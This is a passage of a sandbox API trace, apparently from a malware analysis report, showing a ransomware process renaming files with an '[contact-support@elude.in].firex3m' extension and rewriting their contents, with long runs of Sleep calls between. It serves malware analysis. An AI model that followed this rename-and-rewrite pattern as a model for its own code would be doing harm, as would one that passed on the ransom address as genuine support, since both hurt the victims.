Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.dualsim1.surprise.scale-150.png" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\assets\\starttile.dualsim1.surprise.scale-150.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.311] Sleep (dwMilliseconds=0x1) [0275.329] SysReAllocStringLen (in: pbstr=0x433ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\AppxManifest.xml", len=0x74 | out: pbstr=0x433ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\AppxManifest.xml") returned 1 [0275.329] GetProcessHeap () returned 0x630000 [0275.329] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b1c) returned 0x6fe3bb0 [0275.329] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\appxmanifest.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.332] Sleep (dwMilliseconds=0x1) [0275.339] SysReAllocStringLen (in: pbstr=0x433ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\ROCCB___.TTF", len=0x45 | out: pbstr=0x433ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\ROCCB___.TTF") returned 1 [0275.339] GetProcessHeap () returned 0x630000 [0275.339] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b0c) returned 0x6fe3bb0 [0275.340] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\ROCCB___.TTF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\roccb___.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d8 [0275.344] CloseHandle (hObject=0x6d8) returned 1 [0275.344] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0275.344] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\ROCCB___.TTF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\roccb___.ttf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\ROCCB___.TTF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\roccb___.ttf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0275.385] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0275.386] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\ROCCB___.TTF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x433fc6c | out: lpFindFileData=0x433fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x87b72fc9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x87b72fc9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89c3a0a0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xe834, dwReserved0=0x0, dwReserved1=0x0, cFileName="ROCCB___.TTF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ROCCB_~1.FIR")) returned 0x6d5400 [0275.386] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0275.386] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\ROCCB___.TTF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\roccb___.ttf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d8 [0275.386] GetProcessHeap () returned 0x630000 [0275.386] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x727ee88 [0275.386] GetProcessHeap () returned 0x630000 [0275.386] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x756bdc8 [0275.386] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0275.386] ReadFile (in: hFile=0x6d8, lpBuffer=0x727ee88, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x727ee88*, lpNumberOfBytesRead=0x433ff0c*=0xb400, lpOverlapped=0x0) returned 1 Thread: id = 53 os_tid = 0xfc0 [0067.524] Sleep (dwMilliseconds=0x1) [0067.537] Sleep (dwMilliseconds=0x1) [0067.554] Sleep (dwMilliseconds=0x1) [0067.654] Sleep (dwMilliseconds=0x1) [0067.664] Sleep (dwMilliseconds=0x1) [0067.677] Sleep (dwMilliseconds=0x1) [0067.695] Sleep (dwMilliseconds=0x1) [0067.708] Sleep (dwMilliseconds=0x1) [0067.726] Sleep (dwMilliseconds=0x1) [0067.740] Sleep (dwMilliseconds=0x1) [0067.765] Sleep (dwMilliseconds=0x1) [0067.771] Sleep (dwMilliseconds=0x1) [0067.790] Sleep (dwMilliseconds=0x1) [0067.931] Sleep (dwMilliseconds=0x1) [0068.039] Sleep (dwMilliseconds=0x1) [0068.151] Sleep (dwMilliseconds=0x1) [0068.279] Sleep (dwMilliseconds=0x1) [0068.399] Sleep (dwMilliseconds=0x1) [0068.495] Sleep (dwMilliseconds=0x1) [0068.543] Sleep (dwMilliseconds=0x1) [0068.700] Sleep (dwMilliseconds=0x1) [0068.745] Sleep (dwMilliseconds=0x1) [0068.794] Sleep (dwMilliseconds=0x1) [0068.840] Sleep (dwMilliseconds=0x1) [0068.886] Sleep (dwMilliseconds=0x1) [0068.932] Sleep (dwMilliseconds=0x1) [0068.978] Sleep (dwMilliseconds=0x1) [0069.045] Sleep (dwMilliseconds=0x1) [0069.107] Sleep (dwMilliseconds=0x1) [0069.156] Sleep (dwMilliseconds=0x1) [0069.200] Sleep (dwMilliseconds=0x1) [0069.247] Sleep (dwMilliseconds=0x1) [0069.295] Sleep (dwMilliseconds=0x1) [0069.375] Sleep (dwMilliseconds=0x1) [0069.437] Sleep (dwMilliseconds=0x1) [0069.481] Sleep (dwMilliseconds=0x1) [0069.525] Sleep (dwMilliseconds=0x1) [0069.693] Sleep (dwMilliseconds=0x1) [0069.922] Sleep (dwMilliseconds=0x1) [0070.144] Sleep (dwMilliseconds=0x1) [0070.265] Sleep (dwMilliseconds=0x1) [0070.379] Sleep (dwMilliseconds=0x1) [0070.537] Sleep (dwMilliseconds=0x1) [0070.873] Sleep (dwMilliseconds=0x1) [0071.565] Sleep (dwMilliseconds=0x1) [0071.939] Sleep (dwMilliseconds=0x1) [0072.425] Sleep (dwMilliseconds=0x1) [0072.604] Sleep (dwMilliseconds=0x1) [0072.802] Sleep (dwMilliseconds=0x1) [0072.952] Sleep (dwMilliseconds=0x1) [0073.103] Sleep (dwMilliseconds=0x1) [0073.579] Sleep (dwMilliseconds=0x1) [0073.778] Sleep (dwMilliseconds=0x1) [0073.942] Sleep (dwMilliseconds=0x1) [0074.047] Sleep (dwMilliseconds=0x1) [0074.177] Sleep (dwMilliseconds=0x1) [0074.385] Sleep (dwMilliseconds=0x1) [0074.667] Sleep (dwMilliseconds=0x1) [0074.776] Sleep (dwMilliseconds=0x1) [0074.840] Sleep (dwMilliseconds=0x1) [0074.906] Sleep (dwMilliseconds=0x1) [0074.999] Sleep (dwMilliseconds=0x1) [0075.061] Sleep (dwMilliseconds=0x1) [0075.105] Sleep (dwMilliseconds=0x1) [0075.158] Sleep (dwMilliseconds=0x1) [0075.215] Sleep (dwMilliseconds=0x1) [0075.265] Sleep (dwMilliseconds=0x1) [0075.303] Sleep (dwMilliseconds=0x1) [0075.363] Sleep (dwMilliseconds=0x1) [0075.427] Sleep (dwMilliseconds=0x1) [0075.514] Sleep (dwMilliseconds=0x1) [0075.567] Sleep (dwMilliseconds=0x1) [0075.613] Sleep (dwMilliseconds=0x1) [0075.698] Sleep (dwMilliseconds=0x1) [0075.745] Sleep (dwMilliseconds=0x1) [0075.792] Sleep (dwMilliseconds=0x1) [0075.831] Sleep (dwMilliseconds=0x1) [0076.048] Sleep (dwMilliseconds=0x1) [0076.059] Sleep (dwMilliseconds=0x1) [0076.087] Sleep (dwMilliseconds=0x1) [0076.103] Sleep (dwMilliseconds=0x1) [0076.190] Sleep (dwMilliseconds=0x1) [0076.387] Sleep (dwMilliseconds=0x1) [0076.534] Sleep (dwMilliseconds=0x1) [0076.674] Sleep (dwMilliseconds=0x1) [0076.705] Sleep (dwMilliseconds=0x1) [0076.778] Sleep (dwMilliseconds=0x1) [0076.800] Sleep (dwMilliseconds=0x1) [0076.846] Sleep (dwMilliseconds=0x1) [0076.874] Sleep (dwMilliseconds=0x1) [0076.918] Sleep (dwMilliseconds=0x1) [0076.987] Sleep (dwMilliseconds=0x1) [0077.072] Sleep (dwMilliseconds=0x1) [0077.151] Sleep (dwMilliseconds=0x1) [0077.219] Sleep (dwMilliseconds=0x1) [0077.292] Sleep (dwMilliseconds=0x1) [0077.357] Sleep (dwMilliseconds=0x1) [0077.415] Sleep (dwMilliseconds=0x1) [0077.517] Sleep (dwMilliseconds=0x1) [0077.600] Sleep (dwMilliseconds=0x1) [0077.646] Sleep (dwMilliseconds=0x1) [0077.692] Sleep (dwMilliseconds=0x1) [0077.733] Sleep (dwMilliseconds=0x1) [0077.785] Sleep (dwMilliseconds=0x1) [0077.830] Sleep (dwMilliseconds=0x1) [0077.859] Sleep (dwMilliseconds=0x1) [0077.909] Sleep (dwMilliseconds=0x1) [0077.962] Sleep (dwMilliseconds=0x1) [0077.979] Sleep (dwMilliseconds=0x1) [0077.997] Sleep (dwMilliseconds=0x1) [0078.088] Sleep (dwMilliseconds=0x1) [0078.115] Sleep (dwMilliseconds=0x1) [0078.136] Sleep (dwMilliseconds=0x1) [0078.191] Sleep (dwMilliseconds=0x1) [0078.225] Sleep (dwMilliseconds=0x1) [0078.236] Sleep (dwMilliseconds=0x1) [0078.255] Sleep (dwMilliseconds=0x1) [0078.270] Sleep (dwMilliseconds=0x1) [0078.288] Sleep (dwMilliseconds=0x1) [0078.311] Sleep (dwMilliseconds=0x1) [0078.362] Sleep (dwMilliseconds=0x1) [0078.377] Sleep (dwMilliseconds=0x1) [0078.515] Sleep (dwMilliseconds=0x1) [0078.534] Sleep (dwMilliseconds=0x1) [0078.559] Sleep (dwMilliseconds=0x1) [0078.570] Sleep (dwMilliseconds=0x1) [0078.609] Sleep (dwMilliseconds=0x1) [0078.628] Sleep (dwMilliseconds=0x1) [0078.644] Sleep (dwMilliseconds=0x1) [0078.660] Sleep (dwMilliseconds=0x1) [0078.675] Sleep (dwMilliseconds=0x1) [0078.705] Sleep (dwMilliseconds=0x1) [0078.723] Sleep (dwMilliseconds=0x1) [0078.736] Sleep (dwMilliseconds=0x1) [0078.756] Sleep (dwMilliseconds=0x1) [0078.767] Sleep (dwMilliseconds=0x1) [0078.788] Sleep (dwMilliseconds=0x1) [0078.835] Sleep (dwMilliseconds=0x1) [0078.889] Sleep (dwMilliseconds=0x1) [0078.930] Sleep (dwMilliseconds=0x1) [0078.943] Sleep (dwMilliseconds=0x1) [0078.962] Sleep (dwMilliseconds=0x1) [0078.976] Sleep (dwMilliseconds=0x1) [0079.006] Sleep (dwMilliseconds=0x1) [0079.028] Sleep (dwMilliseconds=0x1) [0079.052] Sleep (dwMilliseconds=0x1) [0079.077] Sleep (dwMilliseconds=0x1) [0079.101] Sleep (dwMilliseconds=0x1) [0079.113] Sleep (dwMilliseconds=0x1) [0079.132] Sleep (dwMilliseconds=0x1) [0079.156] Sleep (dwMilliseconds=0x1) [0079.227] Sleep (dwMilliseconds=0x1) [0079.247] Sleep (dwMilliseconds=0x1) [0079.272] Sleep (dwMilliseconds=0x1) [0079.284] Sleep (dwMilliseconds=0x1) [0079.303] Sleep (dwMilliseconds=0x1) [0079.312] Sleep (dwMilliseconds=0x1) [0079.333] Sleep (dwMilliseconds=0x1) [0079.344] Sleep (dwMilliseconds=0x1) [0079.364] Sleep (dwMilliseconds=0x1) [0079.374] Sleep (dwMilliseconds=0x1) [0079.401] Sleep (dwMilliseconds=0x1) [0079.413] Sleep (dwMilliseconds=0x1) [0079.426] Sleep (dwMilliseconds=0x1) [0079.444] Sleep (dwMilliseconds=0x1) [0079.520] Sleep (dwMilliseconds=0x1) [0079.539] Sleep (dwMilliseconds=0x1) [0079.549] Sleep (dwMilliseconds=0x1) [0079.597] Sleep (dwMilliseconds=0x1) [0079.614] Sleep (dwMilliseconds=0x1) [0079.626] Sleep (dwMilliseconds=0x1) [0079.645] Sleep (dwMilliseconds=0x1) [0079.657] Sleep (dwMilliseconds=0x1) [0079.679] Sleep (dwMilliseconds=0x1) [0079.692] Sleep (dwMilliseconds=0x1) [0079.735] Sleep (dwMilliseconds=0x1) [0079.804] Sleep (dwMilliseconds=0x1) [0079.812] Sleep (dwMilliseconds=0x1) [0079.834] Sleep (dwMilliseconds=0x1) [0079.887] Sleep (dwMilliseconds=0x1) [0079.899] Sleep (dwMilliseconds=0x1) [0079.914] Sleep (dwMilliseconds=0x1) [0079.934] Sleep (dwMilliseconds=0x1) [0079.989] Sleep (dwMilliseconds=0x1) [0080.045] Sleep (dwMilliseconds=0x1) [0080.073] Sleep (dwMilliseconds=0x1) [0080.082] Sleep (dwMilliseconds=0x1) [0080.102] Sleep (dwMilliseconds=0x1) [0080.134] Sleep (dwMilliseconds=0x1) [0080.163] Sleep (dwMilliseconds=0x1) [0080.171] Sleep (dwMilliseconds=0x1) [0080.240] Sleep (dwMilliseconds=0x1) [0080.258] Sleep (dwMilliseconds=0x1) [0080.271] Sleep (dwMilliseconds=0x1) [0080.283] Sleep (dwMilliseconds=0x1) [0080.303] Sleep (dwMilliseconds=0x1) [0080.313] Sleep (dwMilliseconds=0x1) [0080.345] Sleep (dwMilliseconds=0x1) [0080.359] Sleep (dwMilliseconds=0x1) [0080.386] Sleep (dwMilliseconds=0x1) [0080.390] Sleep (dwMilliseconds=0x1) [0080.412] Sleep (dwMilliseconds=0x1) [0080.424] Sleep (dwMilliseconds=0x1) [0080.443] Sleep (dwMilliseconds=0x1) [0080.500] Sleep (dwMilliseconds=0x1) [0080.529] Sleep (dwMilliseconds=0x1) [0080.553] Sleep (dwMilliseconds=0x1) [0080.563] Sleep (dwMilliseconds=0x1) [0080.587] Sleep (dwMilliseconds=0x1) [0080.601] Sleep (dwMilliseconds=0x1) [0080.619] Sleep (dwMilliseconds=0x1) [0080.656] Sleep (dwMilliseconds=0x1) [0080.677] Sleep (dwMilliseconds=0x1) [0080.706] Sleep (dwMilliseconds=0x1) [0080.721] Sleep (dwMilliseconds=0x1) [0080.767] Sleep (dwMilliseconds=0x1) [0080.785] Sleep (dwMilliseconds=0x1) [0080.807] Sleep (dwMilliseconds=0x1) [0080.817] Sleep (dwMilliseconds=0x1) [0080.838] Sleep (dwMilliseconds=0x1) [0080.845] Sleep (dwMilliseconds=0x1) [0080.890] Sleep (dwMilliseconds=0x1) [0080.916] Sleep (dwMilliseconds=0x1) [0080.924] Sleep (dwMilliseconds=0x1) [0080.940] Sleep (dwMilliseconds=0x1) [0080.959] Sleep (dwMilliseconds=0x1) [0080.976] Sleep (dwMilliseconds=0x1) [0080.991] Sleep (dwMilliseconds=0x1) [0081.003] Sleep (dwMilliseconds=0x1) [0081.027] Sleep (dwMilliseconds=0x1) [0081.033] Sleep (dwMilliseconds=0x1) [0081.051] Sleep (dwMilliseconds=0x1) [0081.285] Sleep (dwMilliseconds=0x1) [0081.433] Sleep (dwMilliseconds=0x1) [0081.520] Sleep (dwMilliseconds=0x1) [0081.541] Sleep (dwMilliseconds=0x1) [0081.559] Sleep (dwMilliseconds=0x1) [0081.583] Sleep (dwMilliseconds=0x1) [0081.598] Sleep (dwMilliseconds=0x1) [0081.615] Sleep (dwMilliseconds=0x1) [0081.627] Sleep (dwMilliseconds=0x1) [0081.667] Sleep (dwMilliseconds=0x1) [0081.680] Sleep (dwMilliseconds=0x1) [0081.694] Sleep (dwMilliseconds=0x1) [0081.707] Sleep (dwMilliseconds=0x1) [0081.759] Sleep (dwMilliseconds=0x1) [0081.774] Sleep (dwMilliseconds=0x1) [0081.791] Sleep (dwMilliseconds=0x1) [0081.830] Sleep (dwMilliseconds=0x1) [0081.851] Sleep (dwMilliseconds=0x1) [0081.884] Sleep (dwMilliseconds=0x1) [0081.895] Sleep (dwMilliseconds=0x1) [0081.908] Sleep (dwMilliseconds=0x1) [0081.928] Sleep (dwMilliseconds=0x1) [0081.940] Sleep (dwMilliseconds=0x1) [0081.969] Sleep (dwMilliseconds=0x1) [0081.985] Sleep (dwMilliseconds=0x1) [0082.004] Sleep (dwMilliseconds=0x1) [0082.034] Sleep (dwMilliseconds=0x1) [0082.052] Sleep (dwMilliseconds=0x1) [0082.067] Sleep (dwMilliseconds=0x1) [0082.114] Sleep (dwMilliseconds=0x1) [0082.131] Sleep (dwMilliseconds=0x1) [0082.153] Sleep (dwMilliseconds=0x1) [0082.197] Sleep (dwMilliseconds=0x1) [0082.212] Sleep (dwMilliseconds=0x1) [0082.235] Sleep (dwMilliseconds=0x1) [0082.256] Sleep (dwMilliseconds=0x1) [0082.279] Sleep (dwMilliseconds=0x1) [0082.292] Sleep (dwMilliseconds=0x1) [0082.311] Sleep (dwMilliseconds=0x1) [0082.368] Sleep (dwMilliseconds=0x1) [0082.420] Sleep (dwMilliseconds=0x1) [0082.538] Sleep (dwMilliseconds=0x1) [0082.591] Sleep (dwMilliseconds=0x1) [0082.634] Sleep (dwMilliseconds=0x1) [0082.687] Sleep (dwMilliseconds=0x1) [0082.726] Sleep (dwMilliseconds=0x1) [0082.779] Sleep (dwMilliseconds=0x1) [0082.819] Sleep (dwMilliseconds=0x1) [0082.873] Sleep (dwMilliseconds=0x1) [0082.913] Sleep (dwMilliseconds=0x1) [0082.971] Sleep (dwMilliseconds=0x1) [0083.013] Sleep (dwMilliseconds=0x1) [0083.057] Sleep (dwMilliseconds=0x1) [0083.101] Sleep (dwMilliseconds=0x1) [0083.153] Sleep (dwMilliseconds=0x1) [0083.198] Sleep (dwMilliseconds=0x1) [0083.245] Sleep (dwMilliseconds=0x1) [0083.290] Sleep (dwMilliseconds=0x1) [0083.340] Sleep (dwMilliseconds=0x1) [0083.382] Sleep (dwMilliseconds=0x1) [0083.439] Sleep (dwMilliseconds=0x1) [0083.700] Sleep (dwMilliseconds=0x1) [0083.753] Sleep (dwMilliseconds=0x1) [0083.799] Sleep (dwMilliseconds=0x1) [0083.915] Sleep (dwMilliseconds=0x1) [0084.010] Sleep (dwMilliseconds=0x1) [0084.095] Sleep (dwMilliseconds=0x1) [0084.199] Sleep (dwMilliseconds=0x1) [0084.346] Sleep (dwMilliseconds=0x1) [0084.735] Sleep (dwMilliseconds=0x1) [0084.813] Sleep (dwMilliseconds=0x1) [0084.874] Sleep (dwMilliseconds=0x1) [0084.963] Sleep (dwMilliseconds=0x1) [0085.049] Sleep (dwMilliseconds=0x1) [0085.122] Sleep (dwMilliseconds=0x1) [0085.182] Sleep (dwMilliseconds=0x1) [0085.348] Sleep (dwMilliseconds=0x1) [0085.388] Sleep (dwMilliseconds=0x1) [0085.738] Sleep (dwMilliseconds=0x1) [0085.829] Sleep (dwMilliseconds=0x1) [0085.965] Sleep (dwMilliseconds=0x1) [0086.081] Sleep (dwMilliseconds=0x1) [0086.188] Sleep (dwMilliseconds=0x1) [0086.235] Sleep (dwMilliseconds=0x1) [0086.295] Sleep (dwMilliseconds=0x1) [0086.351] Sleep (dwMilliseconds=0x1) [0086.589] Sleep (dwMilliseconds=0x1) [0086.895] Sleep (dwMilliseconds=0x1) [0087.092] Sleep (dwMilliseconds=0x1) [0087.470] Sleep (dwMilliseconds=0x1) [0088.889] SysReAllocStringLen (in: pbstr=0x447ff7c*=0x0, psz="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml", len=0x2c | out: pbstr=0x447ff7c*="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 1 [0088.889] GetProcessHeap () returned 0x630000 [0088.889] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e8fb8, Size=0x1c) returned 0x6e8fe0 [0088.889] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0088.890] CloseHandle (hObject=0x6a8) returned 1 [0088.890] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0088.890] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0088.890] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0088.890] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x447fc6c | out: lpFindFileData=0x447fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13712, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d5580 [0088.891] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0088.891] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0088.891] GetProcessHeap () returned 0x630000 [0088.891] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6fd68a8 [0088.891] GetProcessHeap () returned 0x630000 [0088.891] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6fe1cd8 [0088.892] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.892] ReadFile (in: hFile=0x6a8, lpBuffer=0x6fd68a8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fd68a8*, lpNumberOfBytesRead=0x447ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0092.565] GetProcessHeap () returned 0x630000 [0092.565] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8b90 [0092.565] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.565] WriteFile (in: hFile=0x6a8, lpBuffer=0x6fe1cd8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fe1cd8*, lpNumberOfBytesWritten=0x447ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0092.566] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.566] WriteFile (in: hFile=0x6a8, lpBuffer=0x6fed0d7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fed0d7*, lpNumberOfBytesWritten=0x447ff0c*=0x20, lpOverlapped=0x0) returned 1 [0092.566] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.566] WriteFile (in: hFile=0x6a8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x447ff0c*=0x4, lpOverlapped=0x0) returned 1 [0092.566] CloseHandle (hObject=0x6a8) returned 1 [0094.403] GetProcessHeap () returned 0x630000 [0094.403] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fe1cd8 | out: hHeap=0x630000) returned 1 [0094.403] GetProcessHeap () returned 0x630000 [0094.403] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fd68a8 | out: hHeap=0x630000) returned 1 [0094.403] GetProcessHeap () returned 0x630000 [0094.403] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8b90 | out: hHeap=0x630000) returned 1 [0094.403] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0094.403] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x447fcc4 | out: lpFindFileData=0x447fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0xfe385fb2, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x13736, dwReserved0=0xb687496, dwReserved1=0x6fd68a0, cFileName="LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d51c0 [0094.404] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0094.404] Sleep (dwMilliseconds=0x1) [0096.308] SysReAllocStringLen (in: pbstr=0x447ff7c*=0x0, psz="C:\\588bce7c90097ed212\\3076\\eula.rtf", len=0x23 | out: pbstr=0x447ff7c*="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 1 [0096.308] GetProcessHeap () returned 0x630000 [0096.308] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0218, Size=0x10) returned 0x6b1208 [0096.308] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x680 [0096.308] CloseHandle (hObject=0x680) returned 1 [0096.309] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, 